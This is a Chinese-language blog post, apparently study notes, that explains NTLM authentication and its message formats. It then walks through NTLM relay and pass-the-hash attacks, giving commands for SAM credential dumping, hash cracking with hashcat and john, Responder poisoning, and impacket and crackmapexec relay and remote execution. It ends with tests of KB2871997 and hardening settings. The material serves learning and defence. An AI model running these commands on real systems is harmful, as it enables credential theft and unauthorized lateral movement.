本文主要简单介绍下NTLM协议和基于NTLM的攻击手法,主要是对以下文章的学习、以及记录学习心得和利用方法。(NTLM Relay部分还没写完)
参考文章:
- https://paper.seebug.org/papers/Archive/drops2/域渗透——Pass The Hash %26amp%3B Pass The Key.html
- https://3gstudent.github.io/Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍
- https://blog.csdn.net/Ping_Pig/article/details/109171690
- https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd835564(v=ws.10)
- KB22871997是否真的能防御PTH攻击?
- https://docs.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction
- https://en.hackndo.com/pass-the-hash/
- https://www.thehacker.recipes/ad/movement/ntlm/pth
- https://web.archive.org/web/20210615151251/https://research.801labs.org/cracking-an-ntlmv2-hash/
- http://davenport.sourceforge.net/ntlm.html
- Windows内网协议学习NTLM篇之NTLM基础介绍
- NTLM协议(一)——面向连接认证
如果英语能力OK的话 十分推荐将这篇文章http://davenport.sourceforge.net/ntlm.html 和微软的MS-NLMP文档一起阅读
0x01 NTLM 介绍
Windows 认证主要分为Kerberos认证和NTLM认证。
Windows内部是不保存密码的,保存的是密码的hash值(如同Linux一般),本机用户的密码文件自然是存放在SAM文件中。
文件位置在:%SystemRoot%\system32\config\SAM
在注册表中的存储位置为:hklm\sam\sam\domains\account\users\
下(必须使用SYSTEM权限才能看到)
我们可以通过导出注册表的方式来获取sam
、system
数据库的备份。
1 | reg save hklm\sam sam.save |
我们可以使用impacket-secretdump.py
脚本来导出密码存储哈希(当然也可以直接使用mimikatz
等工具)
这里我们可以发现存储用户的密码的格式为:uid:rid:lmhash:nthash
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:35b5a70f68f5ef895d52d15d8d84af6b::: |
UID即 Windows的登录用户名,这个很好理解。RID则是SID的一部分,500-999为保留,一般是Windows内置的,标准用户RID从1000开始。
Windows本地认证流程
前面说到SAM
文件是存储用户密码哈希值的地方,所以当我们进行本地登录的时候,Windows的认证流程应该是
用户本地登录 -> winlogon.exe
显示登录界面之类的 -> 用户输入用户密码登录 -> lsass.exe
加密用户输入的密码 计算hash
和SAM
中进行对比。
LM Hash
LM Hash
全称LAN Manager Hash
是Windows使用的最古老的密码存储,其历史可追溯到1980年代的OS / 2。在LAN Manager协议中使用,由于允许的字符集有限,因此它们很容易破解。由于LM Hash存在的问题微软在1993年引入了NT Hash。在Windows 2000版本至2003的版本系统默认使用LM哈希,当密码超过14位时,则使用NT Hash进行存储。而在Windows Visita后,默认情况下只存储NT Hash,LM Hash则不再使用。如果用户密码为空或者不存储LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE
。
所以在Visita后,抓到的LM Hash为AAD3B435B51404EEAAD3B435B51404EE
,并没有价值。(部分工具的参数需要填写固定格式LM hash:NT hash
,可以将LM hash填0(LM hash可以为任意值),即00000000000000000000000000000000:NT hash
)
相关策略配置:本地组策略→本地策略→安全选项→网络安全:在下一次更改密码时不存储LAN管理器哈希值
注册表位置: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash
NTLM Hash
Vista之后Windows系统使用的Hash,它的前身是LM Hash,两者相差不大,只是使用的加密算法不同。在Visita系统后默认使用。
NTLM Hash加密方法
- 将用户输入的密码转换成十六进制。假设用户密码为Admin123456,则转换后为
41646d696e313233343536
- 将其转换为unicode格式即为:
410064006d0069006e00310032003300340035003600
- 使用md4加密值为
ae4c0d5fb959fda8f4cb1d14a8376af4
和存储在SAM文件里面的哈希值相同
1 | import binascii |
通常可以在Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash
Net-NTLM hash
Net-NTLM Hash通常是指在网络环境中在NTLM认证过程Type3(响应阶段)中的Response(NTProofStr)、Blob和Type2阶段(质询阶段)的ServerChallenge、用户名、请求的域名拼接而成的值。
格式为(Net-NTLM v2):
1 | username::domain:server challenge:response(HMAC-MD5):blob |
但Response通常有以下几种类型:
- LM Response, 早期使用的响应类型
- LMv2 Response ,在启用NTLMv2系统上将替换LM响应。
- NTLM v1 Response ,基于Windows NT客户端,如Windows 2000 、XP。
- NTLM v2 Response ,Windows NT Service Pack 4引入的响应类型,在NTLMv2启用的系统上将替换NTLM响应。
- NTLM2 Session Response, 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时,此方案会更改LM NTLM响应的语义。
- Anonymous Response,当匿名上下文正在建立时使用; 没有提供实际的证书,也没有真正的身份验证。“存根”字段显示在类型3消息中。
这些响应可以在本地安全策略→本地策略→安全选项→网络安全:LAN管理器身份验证级别中配置。
注册表位置为:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel
Value | Options | Description |
---|---|---|
0 | 发送 LM NTLM 响应 | 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
1 | 发送 LM 和 NTLM - 如果已协商,则使用 NTLMv2 会话安全 | 客户端使用 LM 和 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
2 | 仅发送 NTLM 响应 | 客户端只使用 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
3 | 仅发送 NTLMv2 响应 | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
4 | 仅发送 NTLMv2 响应/拒绝 LM | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM,而只接受 NTLM 和 NTLMv2 身份验证。 |
5 | 仅发送 NTLMv2 响应/拒绝 LM 和 NTLM | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM 和 NTLM,而只接受 NTLMv2 身份验证。 |
各系统的默认值为:
- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
- Windows Server 2003: 仅发送 NTLM 响应
- Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应
NTLM 身份认证(NTLM Challenge)
认证原理
来假设一个场景
有这么一个人,她叫”纯酱、”。她是某公司财务部的人员。某一天早晨,她登录了自己的办公电脑,正打算开始今天的工作。突然收到一封邮件。
Dear ….
由于近期xxx原因,微软官方于x年x月x日针对xxx发布了修复补丁。内部定义危险级别为严重,请各位员工立刻使用自己的内部帐号登录文件共享服务器10.1.1.5获取补丁进行更新。
信息技术部
“纯酱、”同事作为遵守公司规则制度的好员工,那肯定立刻就登录上文件共享服务器获取补丁了啊。然后”纯酱、”输入了自己的帐号密码登录10.1.1.5了。
那么这里的认证流程及本是这样工作的。
1、纯酱用户登录客户端电脑
2、在客户端上请求服务端服务,并输入服务器要求的帐号密码。本地将会计算并缓存输入的密码的NTLM Hash。
3、Type1阶段协商 客户端向服务器发送Type1消息,主要包含客户端支持和向服务器端请求的功能列表。(并不会发送明文用户名)
4、Type2阶段质询 服务器收到客户端Type1消息的请求,作为回应会发送Type2消息请求给客户端,主要包含Server Challenge和服务器的功能信息。(Challenge是随机生成的16位字符串)
5、Type3阶段身份验证 客户端收到服务器Type2消息后,将会从Type2消息里面提 Server Challenge,用输入的密码NTLM-hash和Server Challenge进行加密运算(根据Flags设置 加密方式亦有所不同),得到Response。然后客户端将会把Type3消息发送给服务器。
6、服务器收到Type3消息后。将根据用户名来做进一步判断,如果是本地用户的话,会在SAM数据库里面拿这个用户的NTLM Hash,在客户端发送的Response字段提取相关的字段,进行和客户端几乎一样的加密运算,得出一个Response,服务器将会拿这个Response和Type3消息 客户端生成的Response进行对比,如果一致就验证通过。如果是域用户的话,服务器将会通过netlogon协议建立安全通道,将ServerChallenge、UserName、Response消息转发给域控。域控再去ntds.dit判断用户存不存在,然后DC将进行验证工作并把返回结果给服务器,服务器再根据DC的响应返回给客户端。
所以请求的用户是本地用户还是域用户的区别在于Type3阶段之后服务器的处理方式。
下面就是介绍三个过程中的部分细节。不感兴趣就可以忽略。
Type 1 协商
这个过程主要就是客户端向服务端发送type1阶段的消息,以开启NTLM认证,并且通过一系列选项来设置身份验证规则,如果需要,它还可以告诉服务器客户端的工作站名称以及拥有的域(绝对不会发送明文用户名)。服务器可以用这些信息来确定客户端是否符合身份验证的条件。
阶段1的包文主要包含以下结构
Description | Content | |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000) |
8 | NTLM Message Type | long (0x01000000) |
12 | Flags | long |
(16) | Supplied Domain (Optional) | security buffer |
(24) | Supplied Workstation (Optional) | security buffer |
(32) | OS Version Structure (Optional) | 8 bytes |
(32) (40) | start of data block (if required) |
抓包信息如下:
Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)
MessageType (4 bytes): 表示消息类型,值必须为0x0000001。
Negotiate Flags : NEGOTIATE结构体,相关的配置选项。结构体内的每个字段详细的含义都可以在https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832和http://davenport.sourceforge.net/ntlm.html#theNtlmFlags了解。
Version字段取决于Negotiate Flags结构中的Negotiate Version的值。如果该值为0,则不会显示Version字段,并且该字段是否存在都不影响NTLM消息的处理。
如果该值为1,Version字段也会在包文中出现,并且内容基本上是为winver.exe的内容。
Version字段结构
Description | Content | |
---|---|---|
0 | Major Version Number | 1 byte |
1 | Minor Version Number | 1 byte |
2 | Build Number | short |
4 | NTLMRevisionCurrent | 0x0000000f |
还有其他的字段解释:NEGOTIATE_MESSAGE
下面是一个十六进制Type1阶段的消息(关于Flag的值可以看这里:http://davenport.sourceforge.net/ntlm.html#theNtlmFlags):
1 | 例子: |
客户端发送Type1消息后,服务器将会分析消息,并发送一个回复(Type2消息)
Type 2 质询
Type2 消息由服务器发送给客户端,响应Type1消息,主要包含服务器生成的Challenge,并且包含Type1消息协商时的相关信息。
阶段2的包文主要包含以下结构
Description | Content | |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000) |
8 | NTLM Message Type | long (0x02000000) |
12 | Target Name | security buffer |
20 | Flags | long |
24 | Challenge | 8 bytes |
(32) | Context (Optional) | 8 bytes (two consecutive longs) |
(40) | Target Information (Optional) | security buffer |
(48) | OS Version Structure (Optional) | 8 bytes |
32 (48) (56) | start of data block |
Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)
MessageType (4 bytes): 表示消息类型,值必须为0x0000002。
Negotiate Flags(4 bytes) : NEGOTIATE结构体,相关的配置选项。和Type1消息的Negotiate Flags大致相同,不过是表示服务器支持的选项,如果有negotate_message则表示从客户端提供的选项做选择。
Target Name 包含身份验证目标的名称,通常是响应客户端在Type1消息中Flags中的Request Target选项。
ServerChallenge(8 bytes):随机生成的16位随机值。
Reserved (8 bytes):发送时必须设为0,接受时必须被忽略。
TargetInfoFields(8 bytes):值的内容通常取决于NTLMSSP_NEGOTIATE_TARGET_INFO标志有没有被设置(注:除Windows NT,Windows 2000,Windows XP和Windows Server 2003之外,始终发送TargetInfo字段。)。
要想理解每个字段的详细信息,还是建议去阅读:CHALLENGE_MESSAGE以及The Type 2 Message
。
1 | 例子 |
在服务器创建Type2消息后,将会将Type2消息发送给客户端。
Type 3 验证
Type3消息是身份验证的最后一步,该步骤是客户端对Type2消息的响应,客户端将使用输入的NTLM-Hash对服务器随机生成的Challenge值进行复杂的加密运算得到Response,将其作为Type3消息发送给服务器。
Response是最关键的部分是它向服务器证明了客户端知道用户的帐号密码。服务器收到客户端发送的Type3消息,会判断用户名是本地用户还是域用户名,如果是本地用户将会在SAM中找到这个用户的NTLM-Hash,并从客户端发送的Type3消息中提取相关字段,和客户端进行几乎一样的加密运算,最后得到的Response将会和客户端发送的Response进行比较,如果一致则认证通过。如果是在域用户的话,服务器会通过Netlogon安全通道,将Response、Username、ServerChallenge转发给域控,将验证工作交给去进行,DC将会返回结果给服务器,服务器再根据DC的响应返回给客户端。
Description | Content | |
---|---|---|
0 | NTLMSSP Signature | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000) |
8 | NTLM Message Type | long (0x03000000) |
12 | LM/LMv2 Response | security buffer |
20 | NTLM/NTLMv2 Response | security buffer |
28 | Target Name | security buffer |
36 | User Name | security buffer |
44 | Workstation Name | security buffer |
(52) | Session Key (optional) | security buffer |
(60) | Flags(optional) | security buffer |
(64) | OS Version Structure (Optional) | 8 bytes |
52 (64) (72) | start of data block |
Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)
MessageType (4 bytes): 表示消息类型,值必须为0x0000003。
The LM/LMv2 and NTLM/NTLMv2 responses LM/LMv2 NTLM/NTLMv2这两个响应是客户端收到Type2消息用用户输入的密码hash对Challege生成的。
LmChallengeResponseFields(8 bytes),包含LmChallengeResponseLen(2 bytes)、LmChallengeResponseMaxLen(2 bytes)、LmChallengeResponseBufferOffset(4 bytes)字段。如果客户端不发送LmChallengeResponse,Len字段则为0。
NtChallengeResponseFields (8 bytes),包含NTChallengeResponseLen(2 bytes)、NTChallengeResponseMaxLen(2 bytes)、NTChallengeResponseBufferOffset(4 bytes)字段。如果客户端不发送NTChallengeResponse,Len字段则为0。
DomainNameFields (8 bytes),包含DomainNameLen(2 bytes)、DomainNameMaxLen(2 bytes)、DomainNameBufferOffset(4 bytes)字段。如果客户端不发送DomainName,Len字段应为0。
UserNameFields (8 bytes),,包含UserNameLen(2 bytes)、UserNameMaxLen(2 bytes)、UserNameBufferOffset(4 bytes)字段。如果客户端不发送UserName,Len字段应为0。
NegotiateFlags (4 bytes):这里表示的是客户端协商的配置。
这里细说下 NTChallengeResponse,NTChallengeResponse的结构为
Description | Content | |
---|---|---|
Response(ntlmssp.ntlmv2_response.ntproofstr)16bytes | ||
NTLMv2_CLIENT_CHALLENGE |
而NTLMv2_CLIENT_CHALLENGE(Blob)的结构是这样的
Description | Content | |
---|---|---|
0 | Blob Signature | 0x01010000 |
4 | Reserved | long (0x00000000) |
8 | Timestamp | 表示自1月1日1601年1月1日以來微秒的十分之一 |
16 | Client Nonce(NTLMv2 Client Challenge) | 8 bytes(随机生成) |
24 | Unknown | 4 bytes(0x00000000) |
28 | Target Information | 从type2阶段来的目标信息块 |
Unknown | 4bytes |
想了解每个字段的含义还是得去看官方文档AUTHENTICATE_MESSAGE
1 | 例子:4e544c4d5353500003000000180018005a000000f000f0007200000000000000400000001a001a0040000000000000005a0000000000000062010000050288a0410064006d0069006e006900730074007200610074006f0072001a8e5080fb4a6f0a8bf3e0669eb146f37a735845757168659a792665c56f71be45ecbe9c7d7a99b0010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000 |
The NTLMv2 Response生成
这里注意NTLM/NTLMv2Response,我们可以发现NTLMv2Response里面前16 Bytes是一段HMAC-MD5生成的值。被称为Response,或者是NTProofStr。这一段值的生成方式比较复杂,受客户端和服务端Flags(参数)的影响。
简单的介绍下最基础的生成方式(根据Flags的设置 加密方式会有所不同(比如如果是NTLMv2SessionResponse计算方式就会和下面的不一样))
- 将明文密码转换为NTLM-Hash(前面有介绍NTLM Hash生成方式)
- 将用户名转换为大写,然后和域名(域名区分大小写,但是必须和Type3包文中显示的域名一致)拼接在一起,然后进行Unicode的十六进制编码转换.(这里编码始终使用Unicode即使Flags中设置了OEM).NTLM Hash作为Key 对其进行Hmac Md5加密:HMAC_MD5(((UserName).Upper()+domainName),NTLM Hash)得到ntlmV2Hash
- ServerChallenge和Blob进行拼接.使用第三步得到的ntlmV2hash对其进行加密:HMAC_MD5((ServerChallenge+Blob),ntlmv2hash)得到Response(NTProofStr)
- 将Response(NTProofStr)和Blob重新进行拼接 得到NTLMv2 Response.
Examples(案例来自:TheNTLMv2Response):
1 | Target:DOMAIN |
大致的python代码如下
1 | import binascii |
最后得到的Response将会和Blob重新拼接.成为NTLMv2 Response。
1 | 0xcbabbca713eb795d04c97abc01ee498301010000000000000090d336b734c301ffffff00112233440000000002000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d000000000000000000 |
前面说到Response有六种格式,但是他们使用的加密流程都是一样,区别在于Challenge和加密算法不同,这里就不细展开说其他Response的生成方式了,感兴趣的还是去阅读推荐文章。(这里注意一下包文里的NTChallengeResponse并不等于net-ntlm hashv2)
而NTLM v1与NTLM v2区别就是Challenge与加密算法不同,共同点就是加密的都是NTLM Hash。
Net-NTLM Hash v1的格式为:
1 | username::hostname:LM response:NTLM response:challenge |
Net-NTLM Hash v2的格式为:
1 | username::domain:challenge:NTproofstring:modifiedntlmv2response |
手动获取NTLM加密
搜索ntlmssp
找到NTLMSSP_AUTH的请求包,找到SMB2/Security Blob层。
在这里我们可以看到认证的用户名、域名(我这里用的是工作组)。复制用户名和域名记录起来
1 | UserName:Administrator |
接着继续找到NTLM Response部分,找到NTLMv2 Response和NTProofStr字段,将其以16进制字段复制,记录起来。
1 | NTLMv2 Response:9a792665c56f71be45ecbe9c7d7a99b0010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000 |
将NTLMv2 Response开头和NTProofStr相同的部分值删掉
1 | NTProofStr的值是 9a792665c56f71be45ecbe9c7d7a99b0 删除之后的NTLMv2 Response字段是: |
接着过滤ntlmssp.serverchallenge的请求包
同样也是过滤SMB2/Security Blob层。找到NTLM Server Challenge值
1 | NTLMServerChallenge:dea8b91964571623 |
然后按照以下字段组合在一起,保存到文本,然后就可以使用工具进行破解了。
1 | username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response |
使用john进行破解
脚本获取NTLM加密
可以使用脚本,指定已经捕获了NTLM请求的pcap包进行获取。
然后可以使用hashcat进行破解:
1 | hashcat -m 5600 hash.txt passwordlist.txt |
SSP & SSPI
SSPI: Security Support Provider Interface 就是SSP的API接口,可以理解为该接口定义了很多安全有关的功能函数,但是没有具体的实现。然后SSP就是SSPI的实现。
SSP: Security Support Provider,直译为安全支持提供者,又名Security Package.可以理解为SSP就是一个DLL。微软实现了以下SSP,用于提供安全功能:
- NTLM SSP
- Kerberos
- Cred SSP
- Digest SSP
- Negotiate SSP
- Schannel SSP
- Negotiate Extensions SSP
- PKU2U SSP
在系统层面,SSP就是一个DLL用于实现身份验证功能,NTLM是基于Challenge/Response机制,Kerberos是基于ticket的身份验证。所以,我们也可以实现自己的SSP,让系统实现更多的身份验证方法,比如Mimikatz就自己实现了一个利用SSP机制的记录密码。
在抓包分析的时候,我们也能看见ntlmssp是在gssapi下面的。
因为sspi是gssapi的变体,这里出现gssapi是为了兼容。注册为SSP的好处就是,SSP实现了了与安全有关的功能函数,那上层协议(比如SMB)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。而认证过程中的流量嵌入在上层协议里面。不像kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。ntlm是只能镶嵌在上层协议里面,消息的传输依赖于使用ntlm的上层协议。
比如SMB:
HTTP是这样的:
0x02 NTLM Relay
攻击方式待更新
在上面的认证过程中,我们知道了正常的ntlm认证流程是这样的:
如果这个时候有个中间人出现的话:
作为中间人,攻击者会将来自客户端的包转发给服务端,在将服务端的包转发给客户端,客户端生成Response后,再把type3包转发给服务端,服务端验证通过后,服务器将会授予攻击者访问的权限。
Responder 利用LLMNR和NetBIOS欺骗 WPAD劫持 获得Net-NTLMHash
Kali上默认有,所以不用安装了(
1 | responder -I eth1 |
诱导受害者访问:
WPAD劫持
1 | responder -I eth1 |
打印机漏洞 PrintBug
Kali部署SMBServer抓NTLM哈希
使用smbserver起一个服务,受害机直接访问攻击机部署的SMB也能捕获到NTLM加密的哈希值
1 | impacket-smbserver test /tmp -port 445 |
探测SMB签名
可以使用NMAP
脚本也可以使用Responder自带的工具.
Responder-MultiRelayx
利用条件:SMB签名关
第一次使用会提示报错:
安装gcc-mingw后,先去Kali Responder tools目录下编译
1 | cd /usr/share/responder/tools \ |
impacket-smbrelayx
1 | impacket-smbrelayx -h Client2(伪造服务的IP) -c Command |
受害者访问中间人IP(攻击者IP),如果权限足够的话,是能够执行攻击者指定的命令.
如果受害人对攻击者要伪造的服务权限不足的话,就会提示权限不足 Like This:
1 | impacket-smbrelayx -h 10.1.1.12 -e a.exe #要执行的文件 |
impacket-ntlmrelayx
1 | impacket-ntlmrelayx -t smb://10.1.1.12 -c whoami -smb2support |
一样的利用方法,诱导受害者访问中间人即可执行命令.
0x03 NTLM Relay 防御
【待更新】
0x04 Pass The Hash
A Pass-the-Hash (PtH) attack is a technique whereby an attacker captures a password hash (as opposed to the password characters) and then simply passes it through for authentication and potentially lateral access to other networked systems. The threat actor doesn’t need to decrypt the hash to obtain a plain text password. PtH attacks exploit the authentication protocol, as the passwords hash remains static for every session until the password is rotated. Attackers commonly obtain hashes by scraping a system’s active memory and other techniques.
While Pass-the-Hash (PtH) attacks can occur on Linux, Unix, and other platforms, they are most prevalent on Windows systems. In Windows, PtH exploits Single Sign-On (SS0) through NT Lan Manager (NTLM), Kerberos, and other authentication protocols. When a password is created in Windows, it is hashed and stored in the Security Accounts Manager (SAM), Local Security Authority Subsystem (LSASS) process memory, the Credential Manager (CredMan) store, a ntds.dit database in Active Directory, or elsewhere. So, when a user logs onto a Windows workstation or server, they essentially leave behind their password credentials.
PassTheHash 攻击 通常是指 攻击者获得密码hash,利用其对其进行认证 横向至其他网络内部其他系统,攻击者不用解密Hash,因为该攻击方式利用NTLM认证协议.
这里简单介绍下利用方法:
基础利用手法
Mimikatz
1 | #获取内存密码 Or SAM数据库密码 |
impacket
impacket套件里面有psexec、wmiexec、atexec、smbexec等工具,其他的用法大致都差不多。
1 | # 命令执行 Or 远程登录 |
crackmapexec
和impacket比的优点在于,可以很方便的批量攻击多个目标。
1 | #命令执行 |
探究KB2871997
本次实验主要是为了弄清楚KB2871997补丁,是否能防御PTH攻击。
实验环境: Windows Server 2008
本地计算机用户中SID为1001的gg用户为普通用户,SID为1002的gga用户为本地计算机管理员用户。
域计算机用户中SID为1104的user用户为普通域用户,SID为1107的sadmin用户为Server01本地计算机管理员的域普通用户。
UAC Remote Restrictions
由于Windows Vista后的系统,微软引入了用户帐户控制(User Account Control),为了保护Administrator组的用户,微软默认开启了远程限制(UAC Remote Restrictions),对自建管理员用户的UAC功能进行了限制,远程访问时,自建管理员相当于普通用户。所以只有SID为500的Administrator用户能够成功利用PTH,工作组本地其他用户均失败。
这一点在部分文章中被认为是KB2871997补丁的作用,但是实际上是UAC远程限制(UAC Remote Restrictions)产生的作用,微软官方文档:https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction
禁用UAC远程限制限制LocalAccountTokenFilterPolicy。
该项配置默认不存在,不存在的情况下为0。
取消限制
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d "1" /f |
还原配置
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d "0" /f |
该配置修改后立即生效,无须重启。(在开启WinRM的时候,Enable-Psremoting
也会把这个远程限制给取消了。)
无补丁+LocalAccountTokenFilterPolicy 默认值
本地用户
SID:500 Administrator 本地计算机管理员
SID:1001 gg 本地计算机普通用户
SID:1002 gga 本地计算机管理员用户
域内用户
SID:500 Administrator 域计算机管理员
SID:1104 user 域内普通用户
SID:1107 sadmin 加入Server01本地计算机管理员组的普通域用户
小结
在无打补丁的情况下,并且LocalAccountTokenFilterPolicy为默认配置的情况下(注意sadmin为本地计算机管理员的普通域用户):
无打补丁LocalAccountTokenFilterPolicy配置为1
本地用户
SID:500 Administrator 本地计算机管理员用户
SID:1001 gg 本地计算机普通用户
SID:1002 gga 本地计算机管理员用户
域用户
结果与LocalAccountTokenFilterPolicy默认配置的情况相同,在此不再赘述。
小结
在无打补丁的情况下,并且LocalAccountTokenFilterPolicy值被修改为1的情况下(注意sadmin为本地计算机管理员的普通域用户):
无补丁情况总结
在不打补丁的情况下,域内用户不受Remote UAC限制,但本地计算机管理员用户受此限制(除了SID为500的Administrator不受限制)。说人话就是,本地计算机管理员不能PTH,除了SID为500的管理员用户。
打了补丁KB2871997且LocalAccountTokenFilterPolicy为默认
进行更新KB2871997后进行PTH尝试。
本地用户
SID 500 Administrator
SID 1001 gg 普通用户、SID 1002 gga 本地计算机管理员用户 权限被拒绝
域用户
SID 500 Administrator
SID 1007 sadmin 域普通用户,本地计算机管理员
SID 1004 user 域普通用户
小结
在打了补丁KB2871997后,利用PTH攻击的情况:
可以发现其实和不打补丁是没有什么区别的,那么这个补丁的作用是什么呢?为什么该补丁又会被称为PTH杀手呢,抱着这个疑问再度进行了一些查找。发现该补丁其实是做了以下保护措施:
- 用户注销后(大概30-40秒左右)清除LSASS的明文凭证。
- 添加新的SID。
- 添加受保护的用户组((仅限域功能级别为Windows Server 2012 R2以上的域控)在该用户组的用户将禁用NTLM、CredSSP、摘要式身份验证、仅支持Kerberos认证(AES或更高),不支持约束委托和不受约束委托)。
- RestrictedAdmin RDP模式的远程桌面客户端支持。
注销用户后抓取内存密码
用户登录状态抓取内存密码
受保护的用户:
将域用户sadmin添加到受保护的用户组里
再次利用smbexec和mimikatz进行PTH攻击
即使用户在登录状态也无法获取NTLM哈希、明文凭据(因为直接禁用NTLM认证)。
尝试利用ntlm hash进行kerberos认证:
继续尝试利用RC4、Aes256进行key传递。
- 如果使用aeskey传递的话,得使用 \网络名\ 而不是 \IP地址\ 如果使用\IP地址\的话 会报用户密码错误。
在加入受限用户组后,也确实如同补丁描述所说,只允许AesKey进行传递。并且在抓取用户内存密码上变得更加困难,比如。。ekeys都获取不到受限用户组用户的key了。
0x05 PassTheHash 防御
拒绝SID500用户从网络登录
上面我们知道了,将域用户加入受限用户组后能提高防御哈希传递能力,但是如果攻击者获取了本地计算机管理员(SID:500)用户的哈希还是可以利用NTLM哈希进行PTH攻击,那么我们可不可以限制SID500用户进行PTH呢。
经测试以下方法都可以限制默认管理员用户。
FilterAdministratorToken & EnableLua
FilterAdministratorToken
微软官方文档中有关于此项描述:
1 | The User Account Control: Admin Approval Mode for the built-in Administrator account policy setting controls the behavior of Admin Approval Mode for the built-in Administrator account. |
大意是默认情况下,该配置是禁用的。内置管理员(SID500的Administrator)能够以最高权限(full administrative)运行所有程序。如果开启的话,内置管理员将会采用管理员审批模式。给内置管理员打开了UAC功能,以管理员模式请求某个程序运行时,都会弹出UAC审批。等同于把内置管理员降级成了自建管理员。
当此配置启用时:
当此配置禁用时(默认),内置管理员将会以最高权限(full administrative)运行程序:
在本地策略中将用户内置管理员账号的管理员批准模式选项启用,也可以通过注册表修改。
还原默认配置
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d "0" /f |
限制内置管理员
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d "1" /f |
修改立即生效,不需要重启。
Enable Lua
”启用管理审批模式”(Run all administrators in Admin Approval Mode) 该项是默认开启的。
在微软文档的描述中为:
1 | The User Account Control: Run all administrators Admin Approval Mode policy setting controls the behavior of all UAC policy settings for the computer. If you change this policy setting, you must restart your computer. |
大意是,该项默认启用(必须),管理员审批模式和UAC策略依赖于该项配置的设置,如果禁用,UAC策略设置也会失效,系统会提示你系统安全水平低。
如果该配置被禁用了,那么自建管理员将会以最高权限(full administrative)运行所有程序,并且UAC策略将会失效。
通过命令快速修改配置:
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLua /t REG_DWORD /d "0" /f |
还原默认配置
1 | reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLua /t REG_DWORD /d "1" /f |
缺点:修改配置后必须重启才能生效。
前面所说的Remote UAC(LocalAccountTokenFilterPolicy)配置为默认,而启用管理审批模式(Enable Lua)被修改为禁用,进行PTH攻击。
可见UAC功能被禁用。而Remote UAC属于是UAC相关配置,依赖于Enable Lua配置,Enable Lua配置为禁用,导致自建管理员用户也能最高权限(full administrative)运行所有程序,从而哈希传递攻击成功。
拒绝网络访问配置
不过也可以配置指定用户拒绝从网络访问
配置位置:本地安全策略→本地策略→用户权限分配→拒绝从网络访问这台计算机
禁用内置Administrator
可以考虑禁用内置的Administrator用户,重新创建一个本地计算机管理员用户,以此来防御。
本地安全策略→本地策略→安全选项→帐户:管理员帐户状态。沟选禁用
域内防御方式
禁用NTLM认证
下发组策略,禁用NTLM认证。
